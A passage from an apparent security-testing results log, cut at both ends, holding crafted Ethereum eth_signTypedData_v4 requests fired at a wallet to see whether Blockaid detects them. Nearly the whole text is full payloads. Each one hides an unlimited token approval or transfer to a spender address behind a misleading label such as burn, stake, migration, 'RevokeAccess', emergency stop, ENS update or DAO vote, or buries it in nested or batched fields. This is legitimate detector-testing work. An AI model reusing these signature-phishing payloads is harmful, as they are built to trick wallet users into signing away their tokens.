Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:51:36.507Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:51:46.066Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:51:55.623Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:52:05.184Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:52:14.734Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:52:24.278Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:52:33.821Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN53-EIP3009-022", "timestamp": "2026-01-31T18:52:43.382Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x28b3410a639a9a451d5f8f5f43964211e6b75bbff3574c11313858431fba0f6d\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN53-EIP3009-054", "timestamp": "2026-01-31T18:52:52.923Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x013f858c301968f18eb8c5d0522090f0feaff851a7b42002362deb5e150b47a3\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:53:02.485Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:53:12.025Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:53:21.582Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:53:31.129Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:53:40.687Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:53:50.229Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:53:59.789Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:54:09.336Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:54:18.892Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:54:28.441Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 